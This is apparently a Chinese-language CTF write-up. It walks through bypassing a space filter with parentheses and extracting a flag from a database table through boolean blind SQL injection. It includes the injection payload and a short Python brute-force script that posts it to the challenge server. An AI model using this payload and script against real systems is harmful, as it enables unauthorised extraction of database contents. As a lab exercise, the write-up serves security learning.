頁面開啟如上
獲取到資訊 flag在flag表中的flag列中
嘗試注入
發現對使用者的輸入進行了限制
使用burp進行fuzz測試
其中535代表該頁面對該條件進行了過濾
其中括號並沒有被過濾 所以可以利用括號來代替空格
進行盲注 已知f的ascii碼為102
構築等式 (select(ascii(mid(flag,1,1))==102)from(flag))來判斷該字元是什麼 如果字元為ascii(102)也就是字元f 返回頁面為
其中mid函式來標識flag列中從1開始步長為1的元素如果與102匹配就返回值1
至此我們可以寫一個指令碼來實現爆破
def sqlinjection():
url='http://053354a0-0d05-4f36-bf56-58ee332c1e42.node5.buuoj.cn:81/'
# header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0'}
str=string.printable
for i in range(60):
for j in str:
data={
'id':f'(select(ascii(mid(flag,{i},1))={ord(j)})from(flag))'
}
time.sleep(1)
recv=requests.post(url=url,data=data).text
if 'Hello'in recv:
print(j,end='')
string.printable函式將返回所有可列印的值 再透過ord函式轉化為10進位制進行比較 一個字母一個字母的進行爆破
得到flag